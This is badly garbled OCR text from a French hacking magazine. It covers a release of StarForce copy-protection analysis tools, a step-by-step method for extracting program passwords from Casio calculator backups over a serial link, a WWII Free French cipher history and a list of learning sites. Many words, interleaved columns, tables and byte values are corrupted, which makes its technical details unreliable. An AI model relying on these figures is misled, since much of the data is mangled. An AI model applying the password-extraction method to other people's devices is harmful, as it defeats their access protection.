iy .'.'.-'.::'I-:"'lll:_ll'- -':P

Force, réputée
inviolable. Cette release du groupe
Relocaded ne presente pas un grand inte-
ret pour le commun des mortels, sur-
tout pas pour les gamers avides de jeux
bon marche. Elle s'adresse plutot a la
petite communaute des reversers capa-
bles de se frotter serieusement a cette
pratection. Pour les autres, ces fichiers
resteront incomprehensibles.
Cependant, vu la maniere dont cette
nouvelle a ewd traicée sur beaucoup de

blogs, quelgues précisions s'imposent.

Start Force est ['une des protections les
plus utilisées dans le monde du jeu sur
Windows. Elle consiste en une séerie
d'options que les développeurs peuvent
choisir d'intégrer ou non a leur produic
On peut par exemple verrouiller et ren-
dre difficile a3 comprendre certaines par-
ties sensibles du code, ou obliger I'urilisa-
teur a se servir du CD original par divers
procedes,

Le tout est implémenté au niveau Kernel,
a |aide dun driver, afin de pouvoir
deployer des techniques anti-debugging
au plus bas niveau et pour pouvoir
efficacement toute tentative
d'emulation du lecteur CD. Une machine
virtuelle est bien sir utilisée pour ren-
forcer la confidentialites de certains éle-
ments de code de la protection ou du
programme.,

On trouve déja quelques versions pira-
tes de jeux proteges par Star Force. Mais
il s'agit soit d'anciennes versions de la

detecter

Ubi Soft vient d'annoncer officiellement que ses jeux
ne seraient plus protégés a l'aide de Star Force. Cette
deécision est bien justifiee par le mécontentement des
utilisateurs, et non par la publication récente d'un kit

protection, soit de la version basic

(meins solide mais beaucoup moains
chere), soit seulement dune image du
jeux pour emuler le CD. Clest autre

chase que de supprimer compléetement °

la protection du jeux et d'en distribuer
une version utilisable directement.

- Le but de cette release est de diffuser
. plusieurs outils facilitant |'analyse d'un
. programme protege avec SF et quelques

informations inédites. On y trouve
notamment un outil permettant de log-

: ger dans un fichier et sous une forme

desassemblee les instructions envoyees
sur la machine virtuelle — le tour avec

d'analyse pour cette protection célebre.

son code source. Quelques documents
complementaires montre comment on
peut l'utiliser sur des exemples reels,
CYautres deérails
concernant le fonctionnement interne de

Star Force, les

precisent certains

interactions avec la
machine virtuelle ou sur le systeme de

= fichiers crypte que la protection utiliser.
= Au final, cette publication n'est pas force-

ment un mauvaise nouvelle pour la

societé russe, qui ne devrait dailleurs pas

: tarder a sortir la version 4 de 5tar Force.

En effer, si ces informations vont sans
doute simplifier la tache de chercheurs
déja peu nombreux a avoir le niveau
requis, elles ne suffisent de loin pas & cas-
ser completement cette protection — ce
qui represente encore un travail enorme,
Et au contraire, les développeurs de SF
peuvent se réjouir d'avoir un apergu pré-
cis des connaissances qu'ont de leur pro-
duit leurs riveaux les plus doues.

Er c'est toujours ainsi que la securité
infermatique a evolue...

Mr. X

Jignature électronique

Détoil intéressant : |'orchive contient un
tichier outhors.md5 donnant le hash cryplo-
graphique de authors.txt - qui lui n'est pos
inclu. C'est une maniere pour les outeurs de
se donner lo possibilité de prouver ultérieure

ment leur patemité @ un tiers (de confiance).
Yous ne pourrez pas, en effet, produire un
fichier authers.ixt qui contienne votre nom el
qui ail la méme hash que celui publié - et si
vous saviez le foire, vous n'ouriez pas @ usur-
per ba notoriété d'un autre =)
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| exaste differentes
methodes pour
cracker les

mots de passe des
programmes sur
Casio. Celle qu
sera exposé dans
cet article est |a
methade dite de
'BACKUP . L'etude
de cette methode
est particulierement
simple  puisqu elle
consiste a envoyer un backup de la cal-
culatrice vers un erdinateur par la liaison
série et a y trouver les mots de passe.

Cette méthade présente deux principaux
avantages : premiérement, elle fonctionne
sur pratiquement tous les modeles de cal-
culatrice et peut meme §'étendre 3 d' autres
appareils electroniques, deuxiemement |a

intergssante et

calculatrice ne demande aucun mot de

passe lors de l'envoi d'un backup.

Cert article vous permettra de compren-
dre le backup entre une calculatrice
Casio et un ordinateur, mais aussi, une
partie de la structure des données. En
nous concentrant sur les modeles gra-
phique 25 a 80 uniquement. Pour la réa-
lisation de cet article, j'utilise une calcu-
latrice graphique 30 (fx-B930GT),
cdble PC/CASIO et 'HyperTerminal.

Il est trés important de garder en téte
que |'application a une calculette est ce
gqu'il y a de plus basigue. Neanmeins la
camprehension de cette article permet-
tra d'appliguer ces méthodes a d'autres
appareils electronigues...

Communication Casio/PC

Dans cette partie, nous allons essaye de
cnmpl'endre le fonctonnement d'une
Comimunication entre e [’Hl{_’l_llH[l'l{_’E: el
un ordinateur avec un outil basic
HyperTerminal.

En electronique il est trés frequent de se
servir de cer outil pour comprendre ce
qui se passe avec par exemple un micro-

contralelr,

On ne cesse de vous le repéter, mais le hacking ne
s’applique pas qu’aux ordinateurs. Le principal probléme
pour « s'attaquer » aux autres systémes est une
barriere plus psychologique que pratique. Bidouiller
un télephone portable ou une calculette est souvent
plus simple que I'on pourrait le croire ...

Pour comprendre le fonctionnement de
la communication entre notre calcula-
trice et un ordinateur, il
I'HyperTerminal
branche

faut utiliser
sous Vvindows. On

l'ordinateur et la calculatrice

avec notre cable puis on sélecticnne
. dans I'HyperTerminal le numéro du port

COM selon le branchement de la calcu-
latrice. Ensuite, on arrive sur une fenetre

de configuration du porc

Comment configurer ce port de
communication !

Pour cela, on regarde dans le 'manuel de
I'utilisateur’ vendu avec la calculatrice. Il y
a dans l'appendice 'Specifications’ un cha-
pitre nomme 'Communication des don-

nees (voir extrait).

L Appendice EEFRIESE

| Communicaticn de données

Fomctione:

cloi g O yaatong

Mdribne: S SICE (RSTECRNN| T - ki

Poriftl: mucuns
Lsngeiaur da bit: B e
Bt o wrript

Emission. 3 bils

Récaplaom 7 Dvig

Commanda X O OFF B

¥ Hensw de transmdssion (BPE)- 5 800 bilsfseconde

Dans HyperTerminal, on configure notre
port COM selon le contenu du manuel
utilisateur. 5i nous utilisons les donnees
du manuel ci-dessus, on configurera le
port comme suit

Bits par seconde ; 9600

Bits de données : 8

Parite : aucune
Bits d'arret : 2
Caontréle de flux : matériel

Apres validation des parametres de
configuration de 'HyperTerminal, I'ordi-
nateur est prét a communiquer avec
notre Casic. Mous allons envoyer un
backup de la calculatrice (menu LINK{C)
' Fl-F&-F&). Aussitat le transfert lancé, on
recoit un caractére special dans
I"HyperTerminal. Suivi d'un message d'er-
reur sur la caleulatrice
ERROR!" "Press:[AC]".

En etudiant le caractére recu dans un

"
Transmit

éditeur hexadecimal, on peut voir que sa
valeur hexadécimal est de Ox|é (soit
‘0001 olol
ASCI, le caractere Ox|6 correspond a
'SYMN'. Le message "Transmit ERROR!"
saffiche | a 2 secondes aprés l'envoi du

en binaire). Dans la table

Lianleny des progprammass gl noms de hoheers doreess do la maemosra da
foncions. danndes e 8 mimore mabiaals. dornds: dos 158s . corndns 0o
RNRES . donndes as bes # EphE EACTend grapRigues, coslficients des

Manuel de 'utilisateur
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caractére ce qui signifie que la calcula-
trice doit surement attendre
reponse de 'ordinateur. Une réponse qui

une .

doit avoir lieu | 3 2 secondes aprés :

'emission du 'SYMN..

Mais que doit envoyer l'ordinateur

pour repondre a la calculatrice !
Pour repondre a cette question, en simu-
lant un transfert avec un cible NULL-
MODEM et un logiciel PC/Casio, j'ai pu
constate que le caractere a envoyer etait
le caractére 0x13 en hexadécimal (ce
caractére correspond a DC3 dans la
table ASCII).

On recommence donc la manipulation
précédente avec notre HyperTerminal
configure. On copie le caractere corres-
pondant a la valeur hexadecimal OxI|3
dans le presse-papiers a [aide d'un edi-
teur hexadécimal. Enfin, nous nous preé-
parons a le coller (Edition = Caller vers
I'héte pas de CTRL+Y)
I'HyperTerminal qui aura pour effet

dans :
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Les donnees recue par Hyperlerminal

d'ecrire sur la calculatrice et donc de lui
repondre. Nous envoyons le backup a
partir de la Casio (menu LINK(C) : FI-

du presse-papiers. Nous pouvens lire
dans I'HyperTerminal une chaine  de

' earactére ressemblant 4 celle-ci

N de I'octet T2 [ 3[4 [5] & [ 7 [G6[o[ 0] 1 [12] S [ A[I5[ 18] 7]
Caraciars I IMIE[M B L E | O | &8ja|¢ K | u .
[ Carnctdre fhexa) | 58 | 77 | 60 |77 (0| B8 | B5 (0| 0120 2 | @8 | o7 | 89 |107 [117[112]
Informations farrnal 4] tadle nom des donnass
18 | .. |37 |7 |9 | 30| 81 [ | M [ M [ B[ W[5 [ W[N] MA].. [H]50)]
§ ! § | £ X | B 3 | 4] 7§ 5 |ola | | & §lae]
258 255 00 | 8a | &7 | B1 | B2 255|25‘E G | i8] 8 | 0| 0| 0 =5 .. [2585]101]
A AR
i madele de la Cazio i . _ _ “ﬂl.

Description de en-téte

.~ MEMBUx ? Backupiiiyiivzxoid
. ¥YPYYYYYYYyye "

- Description de 'entéte

F&-F6) puis on colle aussitét le caractére

: Ces premiéres donnees correspondent a
: l'en-téte (‘Header') qui comporte 50
: ocrets. On peut y trouver diverses infor-
: mations, tels.que : le format (MEM), le
. type de donnée (BU pour backup). le

nam des dennées (Backup), le medéle

| : [ZX934) ou bien la wille du backup {30
- 722 octets (= 120x162 + 2).

. Apreés que 'ordinateur est recu 'entéte et
- gue la calculatrice soit en attente, on envei
un caractére dont |a valeur hexadécimal
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dHEMBUxEBackupijijiiiiy wyuzxaauyylyyuygygyylnuuuny¥puuumﬁjyuut |
CRACKIjjij6wBPASSWORDINOPASS{yjEwCORN w123 ijinnonRanntc
BN ERNNRR2TRGORNY123UUUUUHUY1230UUUUCORNGUYL123UYUYUTY |
YN0 1420069400069 4O 006914000697 4EOYYUUYUUUIYYUULTYUGUY |

est égale a Ox06. |l correspond a "ACK'
dans |a table ASCII.

On copie. a l'aide d'un editeur hexadéci-

BIE

mal, le caractere de 0x06 dans le presse-
papiers, puit on le colle dans
I'HyperTerminal (Edition > Coller vers
I'hote — pas de CTRL+V).

La calculatrice continue son émission et
envoie a lordinateur les données du
backup proprement dit (Data). Dans notre
cas, la caleulatrice transmettra a 'ordina-

teur 30 722 octets (cf. wille dans ['entéte).

Apres le transfert, la calculatrice atrend
une reponse. En lui envoyant le caractére
de Ox06 (ACK), la calculatrice aura la
réponse du PC pour dire gqulil a bien
recu les données. La Casio affichera alors
un message :"Communication complete |
Press : [AC]".

A travers ma petite analyse, vous avez pu
voir comment fonctionne la communica-
tion entre une calcularrice et un ordina-
teur. Ce transfert est propre i ['envoi
d'un backup. Pour le transfert d'un pro-
gramme unique ou dune matrice, la
communication est difféerente a savoir le
transfert possede en plus un entéte de
fin (End Header). Avec cette premiere
etape, Nous avons pu récupéré les don-
nees (Data) ou se trouve une multitude
d'informations qui nous intéressent : a
savoir les noms des programmes et les
mots de passe de ces derniers ...

A la recherche des mots
de passe

Dans cette partie, nous allons interpreé-
ter les données du backup envoyeé par la
calculatrice graphique Casio afin de trou-
ver les noms des programmes et leurs
mots de passe. Pour decouvrir le fonc-
tionnement d'un systéme il est toujours
conseille de le charger le moins possible
en données. Ensuite faire de simples
modifications (changer une seul aption
par exemple) et de comparer avec le
dump précédent. On arrive ainsi trés
rapidement a de bons résultats meme
sans connaitre le systeme.

Résumé dv transfert de
backvp Cavsio/PC

(SYN) PC>0x13

(DC3)Casio>»% header

Cagio>0xl6

[ACEK ) Casio>% data
(ACE)

%HPC>0x06
LR 0x06

Uyyym s GORP“YN"3 GORP“{E“2 GORP"yE"1 GORP"¢

: Zone 'data’ du backup

En reprenant la zone 'data’ du backup
telechargee sur l'ordinateur, on peut voir
une partie interessante gqui contient des

. caractéres spéciaux, mais aussi quelques

mots de notre langage tels que ‘Backup',

* "AUTEUR', 'GORN', "CRACK", etc. ...

En regardant le contenu des program-
mes présent sur la calculatrice (Menu
'PRGM' (B)), nous pouvens y voir :

Program List

AUTEUR
| CRACK v |
| MOPASS
| GORN ’

| ExE [eoiT [ new | peL [pcELA| >

. dent comme wvous le comprenez aux
. mots de passe des programmes respec-
tifs 'AUTEUR', '"CRACK' et '"GORN'.

En regardant différent backup, nous pou-

. vons voir que le listing des programmes
. ne se trouvalent pas toujours au méme
. endroit dans le bloc data.

. Pour trouver le listing des programmes,
- il faut regarder la valeur du 1052eme
: octet et 1053éme octet. En appliquant
- une formule, on va retrouver 'octet qui
: pointe sur le début du listing pro-
: gramme,

: Prenons un exemple avec le [052eme
: octet et le 1053eme octet qui sont res-
. pectivement égales aux valeurs 50 et 40
: en décimal.Voir le tableau |.

: Powr trouver I'adresse de début du listing,

[ Octet

Tableau | : Qctets 1052 et 1053

Mous retrouvons les noms de program-
mes dans des termes du bloc de donnée

. extrait du backup téléchargé. De plus
: dans le bloc de donné, nous voyons des

mots en plus te que 'GORN', 'PASS-

* WORD' et 123", Ces mots correspen-

. | 1061 | 1052 | 1063 | 1054 10282
\Valeur décimal .| 40 | B0 ] 40 | 146
Valeur hexadecimal | ... | 28 | 32 28 9 : T
Valeur ASCII A u T | E

il faut appligue k formule suivante aux
valeurs decimales: 1053 octet]x 162 +
[1052% acter] + 2 ou bien cette formule
aux valeurs hexadécimales Ox[|053*
octet] [ 1052 octet] + (x02. On obtens
donc pour cette exemple une valeur egale
a 10292 (40x 162 + 50 + 2) {ou 0x2832 +
0«02 = 0x2834 = 410292).
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Tableau 2

A partir du numéro de l'octet (début de
listing des programmes), on se place a
I'adresse 10292 puis on effectuer un

decoupage du reste du bloc data en sec-
tion de |6 octets, Ce qui nous donne le

tableau 2.

Un programme est identifiable par les

caractéristiques suivantes: les B pre-
miers octets représentent le nom du

programme et sont differents de 0x00, et
le |6&8me cctet se termine par Ux00({d0)
ou (el O(d | &).
Le 16" actet indique si le programme a
cui (Oxl0(=dI18) cu non (Ox00{=d0) un
mot de passe.

De méme, un mot de passe est identifia-
ble par les caracteristiques suivantes .
les 8 premiers octets représentent le
nom du programme et sont differents de

000, les octets entre le 9™ et le |5 :
inclus ont pour valeur Ox00(d0) et le :
|6éme ocret a pour valeur OxEE({d238 :

ou d-18).

UI'IE: remargue au FIH!;EH.EL“, mous savons

qu'un programme ou un mot de passe ‘!
doivent comporter maximum 8 caracté-
res admissible par la Casio. Dans le :
backup, nous pouvons voir la présence
de cette contrainte avec le symbole ¥ :

(OxFF ou d255).

oCtet pour un programme représente

d'appliquer la meme formule mathemati-
gue utiliser pour retrouver 'adresse de
début du listing, En effer. dans le cas du
programme ‘AUTEUR’, on prend les

deux valeurs 254 et 119 et on calcule |
(19162 ¢

ladresse du code source ainsi

Pirater ron micro-onde

Les microcontroleurs sont partoul | En effet il se vend beaucoup plus de microconiréleurs que de
microprocesseur, cor ils peuvent &tres ulilisés partoul el ne coiitent que quelgques euros. Il est trés
facile de se procurer des kit de déboguage qui permetiront de foire un dump des progrommes
thargé en mémoire. Et encore, cedi n'est qu'un exemple de maniére de procéder. Il est donc fout @

fait possible de hacker son micro-onde.
Si vous étes en manque d'inspiration :

. source du programme est ecrit 3 l'en-
A noter aussi que le |4eme et |Seme

vers dans le blec data, il faut donc le lire

: de droite a pauche en partant de 30720,
ladresse de son code source. Il suffit :

. Conclusion

: Cet article est basé sur mes propres
: recherches. N'ayant vu aucune informa- :
. tion sur le net 4 ce sujet, j'ai voulu écrire :
cet article pour tous les programmeurs
: en herbes. Maintenant que vous savez

+ 254 + 2 = 30720, Attention : le code : comment fonctionne le transfert d'une :

« Casio vers un PC.J'espére que cela vous
! aidera pour programmer des outils ... |l
: existe une diversite de projets qui peu-
vent étre envisagés |

Si vous découvrez des nouvelles infor-

mations ou avez des questions n'hesitez
. pas & mecrire ...

Gorn
(gorn.supporti@gmail.com)
Greefz o Mouss af NMeriet

BIE
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“1e chiffre de I3

e |1 mai 1944,
le responsable

Quelques jours avant le debarquement des Alliés en
Normandie, le Service de Renseignement Suisse
interceptait un cryptosysteme adresseé au représentant
de la France Libre en Suisse. Coincidence ou nouvelle
erreur logistique dans le transfert d'informations

de la section
des Alligz de
'Armee  suisse,
transmettait au

chef du Bureau du
Chiffre de
major de la méme

I'Etat-

AFTTIEE, UN COUrmer
Lhanes-Arndre H. bien particulier.

Cette correspondance contenait l'infor-
mation suivante: ...A la suite d'un para-
chutage opere par un avien anglais, qui
suite d'une erreur a liché ses colis sur le
territoire suisse a Porrentruy, au lieu de
les lancer dans la region de Maiche, nous
avons eté mis en possession de 100 plis
contenant chacun 99 feuilles couvertes
de chiffres. Il s'agit a2 ne pas dourer d'un
cade cryptographique”

En recherchant dans les archives du
Bureau du Chiffre, on trouve plusieurs
documents faisant egalement mention
de parachutages anglais qui, en raison de
YENts contraires ou tout simplement
derreurs de cibles, finissaient sur terri-
toire suisse. Parmi ces documents, figu-
rent des proces-verbaux enregistrant
linventaire des colis séquestrés, le
contenu de divers courriers adressés
aux resistants ainsi gue dautres informas-
tions trés précicuses pour le Bureau du

Chiffre.

Dans le cas present, un message joint
aux colis parachutes stipulait : "... grice
dlx I:Il:l“l.'llllrlti quE j{,‘: YOUS envoie, F erre
va pouvoir de suite se mettre rapport
avec nous par son piano. On vous a par-
faitement bien entendu et notre peine a
ete tres grande de ne pouvoir causer
avec vous, faute de code”. En clair, les
faisaient defaut. Par contre, les
transmissions en morse (piano) etaient
bonnes. Mais elles émaient bonnes égale-

codes

ment pour le service d ecoute de l'armee

confidentielles 7

allemande. |l s"agissait des lors de fournir
rapidemnent des clés de codage aux par-
tisans tout en restant conscient que |a
maniére dont elles émient livrées, pré-
sentait d'énormes risques. Le bescin de
mettre en place un systéme de code a
grande echelle devenait pressant.

Les plis, contenant chacun 99 feuilles
couvertes de chiffres, etaient effective-
ment des éléments de codage qui permirent
au Bureau du Chiffre de trouver en guelgues
jours le cryptosysteme decoulant a ces
documents. Il manquait toutefois divers
elements permettant a ce bureau de
décrypter |a totalité des messages échangés
au sein de la France Libre.

Les messages radio emanant de Londres
étaient systematiguement captés et
enregistres. Les télégrammes transmis
par la Radio France étaient également
consignes et transcrits. Mais le decryptage
total ne pouvait se faire, faute d'elements
primordiau.

De surcreit, le décryptage de ces messa-
g£e5 netait pas une mission prioritaire
pour le haut commandement de l'armée.
En effet, la Suisse n'avait pas pour mis-
sion de percer les codes utilisés par |a
France Libre, tout particulierement en
cette période ou le cours de la guerre
allait prendre un sérieux virage. La Suisse
avait dautres préoccupations dans ce
domaine, en tentant de maintenir un peu
dl'i.'lr'dl't 2ur son terrmoire GL.] I.'IE"F\. EIEEEFI'I:S
secrets travaillaient, transicaient et sur-
tout operaient pour le compte de leurs
puissances respectives.

PEDIA

L encyclopédie libre
o Seconde guerre mondiale
» France libre
» Gouvernement de Vichy
» Portoil:Cryptologie
» Cryptonomicon

A cette periode la Suisse déemantelait un
important réseau d'espionnage russe
connu sous le nom "d'Orchestre Rouge”.
Mais, disposer d'autant
concrets saisis lors de ces parachutages

d'éléments

2t ne pas pouvair percer le chiffre, com
"titiller™ les
hommes du Bureau du Chiffre

mengait sérieusement a

Quelques semaines apres la découverte
des ces fameux plis contenant des feuil-
es couvertes de chiffres, le Service de
Renseignement remettait au Bureau du
Chiffre un document secret relatif 4 un
courrier postal intercepté. Ce courrier,
adressé a Pierre de Leusse i Fribourg,
contenait le mode demploi d'un code
chiffre.



Pierre de Leusse, connu du Service de
Renseignement suisse comme etant le
représentant officieux du General de
Gaulle en Suisse, vivait alors dans un
hotel a Fribourg. Or, c'est dans cette
méme ville que se situe le collége fran-
cais de la "Villa Saint-Jean", hebergeant
une majorité d'enseignants et d'éléves de
nationalité frangaise. 5i une bonne partie
d'entre eux étaient alsaciens, on trouvait
aussi les enfants de l'ambassadeur de
France, des attaches militaires et de l'air
et du consul de France. Il y avait egale-
ment les enfants de Pierre de Leusse, les
neveux du Général De Gaulle et les fils
de son frére Xavier qui portaient le nom
d'emprunt de Leclerc.

Compte tenu de la sicuation, il était évi-
dent que tot ou tard, des informations
sensibles devraient etre transmises ou
transiter par ce noyau frangais. Les servi-
ces secrets allemands opeérant de
maniére tout a fait illegale en suisse, tout
comme les alliés, connaissaient aussi
cette présence frangaise a Fribourg. |l
appartenait i la suisse d'assurer |a sécu-

évenements ne plaisant pas tellement a
lAllernagne qui devait se préparer a

'idee de lanéantissement des ses

: conquétes et de son propre empire.

Enfin, restait un élément qu'il ne m'ap-
partient pas de juger mais uniquement
de relever, car il avait toute son impor-
tance. Le regime de Vichy deplaisait for-
tement i certains membres de |'Etat-
major de l'armée suisse. Ce sont dail-
leurs ces mémes personnes qui etaient
intervenues, quatre ans auparavant, pour

. autoriser l'entrée en Suisse, transporter,

nourrir et loger plus de 29'000 soldats

: frangais du 45éme corps darmée du

ritté de ces ressortissants en prenant :

toutes les mesures nécessaires.

5i la premiere mesure consistait a inter-
cepter |@ courrier de ces ressortissants,
la seconde justifiait une discrétion toute
particuliere en cete epoque plus que
trouble. Nous étions en cffet & quelgues
jours du debarquement, quelgques semai-
nes de la libération de Paris et tous ces

FENAFSEEEEREEEEEEEEE Ry T r R A AREEESSEEES

Général Daille suite a une atraque alle-
mande.

Bref, c'était dans un meli-mélo politique-
ment correct, que l'on découvric, le ler
juin 1944, dans le courrier adresse a
Pierre de Leusse, un document dactylo-
graphié qui n'était rien dautre que le
mode d'emploi du cryptage du code de
la France Libre.

fies @is mals aussi

de nembreux doutes

Le decument en question, issu des archi-
ves du Service de Cryptologie de la
Confédération Suisse, est de mauvaise
qualité car les moyens de reproduction
de I'époque étaient rudimentaires, mais
on peut tout de méme relever des infor-
MAaLions Trés intéressantes.

FESAUEEEENNENEE I BN AR R AT E A

" dans un
meli-melo
politiquement
gorrect”

Si ces informations sont, aujourd’hui,
INtéressantes pour Nous, ¥Yous Ppenscz
bien qu'elles le furent tout aussi pour les

cryptanalystes de [|'épogue qui obte-

ammm TEmEE

ammEEa

naient ainsi un sérieux coup de pouce. Le
résultat des recherches fut rapide et en
moins d'une semaine, le cryptosystéme a
ete decortigue, analyse, et rendu opera-
tionnel pour les services d'écoute.

Il faudrait dire, en réalité, presque opéra-
tonnel, car manquait toujours I'element
important de la base de constitution de
la cle de codification.

Le mode demploi stipulait que pour
constituer la cle de codification, il fallait
se referer . .aux versets et aux chapi-
tres. Mais les versets et les chapitres de
quel ou quels livres ?

Le Bureau du Chiffre avait la conviction
qu'il s'agissait de la Bible en traduction
frangaise ou d'un texte en latin classique.
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‘4 e contenu des B

etait similaire”

Ces suppositions étaient basées sur fait
que les tables de relevés de fréquences
légérement
niveau des

eéraient différentes au
ratios Francais/Latin que
Italien/Latin. Compte tenu de la posi-
tion de [ltalie dans ce conflic, il était
fort improbable gue le choix de la lan-
gue italienne soit retenu par les frangais
et surtout cautionné par les anglais qui
avaient encore leur mot a dire dans ce
domaine meéme si les rapports entre
De Gaulle et Churchill éraient ce qu'ils

etaient

Il semble toutefois que le livre en ques-
tien fut un exemplaire de la Bible, en
latin, et ceci pour des raisons purement
techniques. On pouvait a coup sir trou-
ver un exemplaire d'une Bible en latin
dans chaque ville, village ou hameau de
France. En cas de capture par I'ennemi. la
Bible faisait partie des cbjets que pou-
vaient logiquement posseder un resis-
tant ou un saldat du front.

La Bible, enfin, est un livre qui ne peut
etre imprimeé ou reproduit sans l'accord
de relecture du Vatican. Cette permis-
sion, nommée “imprimatur” donnée par
Fautorité ecclésiastique ou rectorale
d'imprimer un tel ouvrage garantissait la
provenance des textes et surtout la
. rigueur de reproduction. Le contenu de
- toutes les Bibles de |'époque értait simi-
laire, parantissant la constitution infailli-
ble de clés identiques pour le cryptage
. et le déecryptage.

Un autre doute s'était installé chez les
. cryptanalystes de [l'époque. S'agissait-il
» vraiment du code de la France Libre ou
. tout simplement d'un code remis en
. étude ? S'agissait-il d'un code de grande
. couverture ou uniguement d'un code
. prévu pour des groupes d'utilisateurs

regionaux !

Compte tenu des travaux preécites et
effectues par le Bureau du Code, il semblait

2% M K R E F E R E A W
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2 3 8 3 3 3 4 B 25 M 2 1

evident quil ne devait pas s'agir d'une
application destinee a des groupes régio-
naux car ce nouveau code ne permettait
pas detablir une transmission rapide. Ce
n'était donc pas un systéme exploitable
sur le terrain mais bel et bien un systéme
de grande couverture oriente fiabilité au
detriment de |a rapidicé.

Substitution par simple décalage, trans-
position, mot cle égal a la longueur du
texte crypte, encapsulation basique, tels
étaient les ingrédients de ce chiffre.

MNe portons aucun jugement de valeur a
CE cryptosystéme congu avec les moyens
de I'époque, mais les plus anciens avaient
quand méme réussi a faire mieux. Par
contre, il faur rester attentif au fait que
les concepteurs avaient tout de meéme
plus de cing annees de guerre sur le dos
e sSurtout une pré:ﬂ.—:nce PErMansnte
d'un cccupant daterminé.

Des lors, arrétons-nous uniquement sur
sa conception technigue.
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Le texte crypté se présentait sous forme
alphabetique constitué de groupes de
cing lettres (figl).

Les trois premiéres lettre du message
constituaient le margueur.

GB]

La premiére lettre "G désignait | lettre de
lalphabet 4 partir de kquelle se faisait a :
numérotation. Simple chiffre de César (fig.2). :

La troisieme lettre indiquait un chapitre

de la Bible. Dans notre exemple nous :

prendrons "La Genése" Chapitre 10. (La
lettre "]" est en dixieme position dans
l'alphabert).

La deuxiéme lettre indiquait le verser. :
Dans notre exemple nous prendrons le

second verset. (La lettre "B" est en
deuxieme position dans l'alphabet).

Le texte reference est le suivant:

Filii lafeth Gomer Magog et Madai lavan ...

Si le texte a crypter était: |e me référe 4

ima lettre

- (fig4).

: La phase finale consistait a mettre le
: marqueur en téte de liste (fig. 5).

: (fig. 6).

4 K2 B0 P4 R-E T 8 B N B &£ 1
3 & 5 §F 7T 8 ¥ BN RGBS BT BB X
2 30 N N N M B X N B W LN Q2 L YUK L

: Efait-ce vraiment le chifire
: fle |a France Libre 2

: Lhistoire et la technique peuvent faire bon
: ménage mais dans le cas présent nous
: devens admettre que certains &léments nous
© manquent pour connaitre fampleur de ce
chiffre. Les opérateurs de [epoque ne
© connaissaient que leurs propres réseaux et
. ignoraient les codes exploités par les autres,
. Certains dirigeants pouvaient éventuelle-
. ment connaitre |a portee d'un tel code, mais
. savalent-ils vraiment si son exploitation écait
réellernent utilisée dans toutes les ramifica-

¢ dons du réseau !

: alphabetique sur la base du tableau

© Quiimporte si ce fiit vraiment le chiffre utilisé
. par la France Libre i cette période. Laissons
. aux historiens le soin de répondre A certe
question et attachons-nous surtout a com-
prendre le fonctionnement de certains cryp-

. tosystémes développés d cette période..

N 2 13 X 15 ¥ & H

J N 5 W U W A E q

: Figure 4
. Et segmenter le tout en complétant le

dernier groupe par des WV, lettre ser- :
vant également de signe de ponctuation

. Pour le déchiffrement, on procédait de la
maniere inverse, mais il fallait absolu-
ment connaitre le mot clé qui etait
. déterminé par les lettres B et |.

: Toute l'astuce était 1. Ce cryptosystéme -
: était infaillible, car il utilisait une clé aussi
. longue que le texte crypté. Par contre le
: choix du texte de référence peut étre

¥ ¥ B s D

13 80 26 21 B X%
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: Bien que moins subdl dans sa conception,

ce chiffre ressembiait tout de meme etrangement

: au chiffre employé dans le réseau d'espion-
nage russe "Orchestre Rouge” et ce, 3 la

. méme periode. A se demander si en cryp-
tographie, tout comme dans la mode vesti-

mentaire, il y avait parfois des tendances, des

- indiscrétions ou tout simplement des coinci-
: dences !
: Ce sont des questions que seuls peuvent

répondre certains utilisateurs de I'épo-

- que. Mais compte tenu du temps écoulé
- et des souvenirs parfcis tragiques gui

EIETO n s W K oA

E Figure 3

conteste. De nos jours,

: de référence sur Internet,

E & % € K 4 B P F A

. pourraient surgir, il est de notre recon-
: on trouve en quatre secondes le texte |

naissance que de laisser dans la paix.
ceux qui se sont battus pour nous I'offrir

On pouvait dés lors constituer la pre- : - aujourd'hui.

miére partie du chiffrement, comme on ¢

peut le voir dans la figure 3.En addition- * [ 8 1 1 & I WU R Ea 0 C N i T 0 F A EFWWW

nant ces deux valeurs on obtenait un :

nombre qui était converti en valeur @ | lause &
2 E M E & I PEAEARAEET TR Charles-André Roh
4 3B 7 2B 12 25 2% 25 12 3 N T N 6 3 14 M 12 3|1 Dopeal et développement en confidentialit
R P R D S T R R O B B I N T SN B W W de linformation
% 3 6 3 3 N ¥ B W I 1 98 T ERT N info@roh.ch
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Apprendre la sécu-

rité Informatique, @
COMMEence par une
chose simple

apprendre Finforma-
tique. Bt les dormai-
vastes

| nes  sont
| autant que nom-
breux réseau
{locawx, Intermet, pro-
) logiciels (codage, bugs, hnguage
machine, .} ou méme des mathématiques :
pures (si [on pense a la cryptographie).
Pour apprendre correctement, vous :
pouvez vous aidez des sites suivants,

= —w - - - =

tocole,

voyoges sur le Web |

Dn' est-ce que la c I:‘I|-E:|T1J-:;|'.-1|||1;|1,-'7'

varbe crypber est parfois utilise maks on bl preferera le verbes chufrer
La eryptologie est essentisllement basés mur Farithmetique

Faites votre srurt sesrion !
N'hésitez pos 6 nous signaler les sites ef outils
de qualité que vous rencontrez au gré de vos

les meilleures trouvailles seront récompen-
sées par un exemplaire gratuit du Mog

Le mot cryptographie ¢st un terms gensrique designant Pensemble des techniques permettant de
chiffrer des messages, < est-a-dire permettant de les rendre inintelligibles sane uns action specifique Le

|

Comme chaque fois, cette partie du magazine est
dediee aux outils et sites web que vous devez connaitre.
C'est la surf session. Au menu ce mois-ci : une sélection
dédiée a I'apprentissage avec, au risque de se répéter,
quelques incontournables.

mations nécessaires pour comprendre
comment fonctionnent les ordinateurs,
les reseaux et les logiciels,

LANGUE : Francaiz
Us ; hitpvwwaw commentcamarchenet

Etape 1 : |"apprends le réseau
FRAMEIP

FramelP, comme son nom lindique, est
destine a vous infarmer sur le réseau, les
protocoles, et ceci de maniére assez
paintue. Utile pour la sécurité appliquee

I s'agit dans le cas dun texte de transformer les lettres qui composent le message &n une muccession de
chiffres (sous forme de bits dans le cas de Finformatique car bs fonctionnsment des ordinateurs et bass sur
be binaise), puis ensuibe de faire des calsals sir ces chiffres pour

# dune part les modifier de tells fagors & les rendre incomprebensibles Le resiltat de cetts
medification (e message chiffre) est appele cryptogramme (sn anglais ciphartecs par oppositicn

dUK FeSealx,

LAMNGUE : Frangais

4l message initial appele message an cladr (en anglais plagntexe
#® f{aire en sorte que be destinataire saura les déchiffrer

cansistant 4 retrouver le mestages original, sst appelés deéchifrement

décryptage EWE*:\ nd hyse

& Fyprbiod 19 e
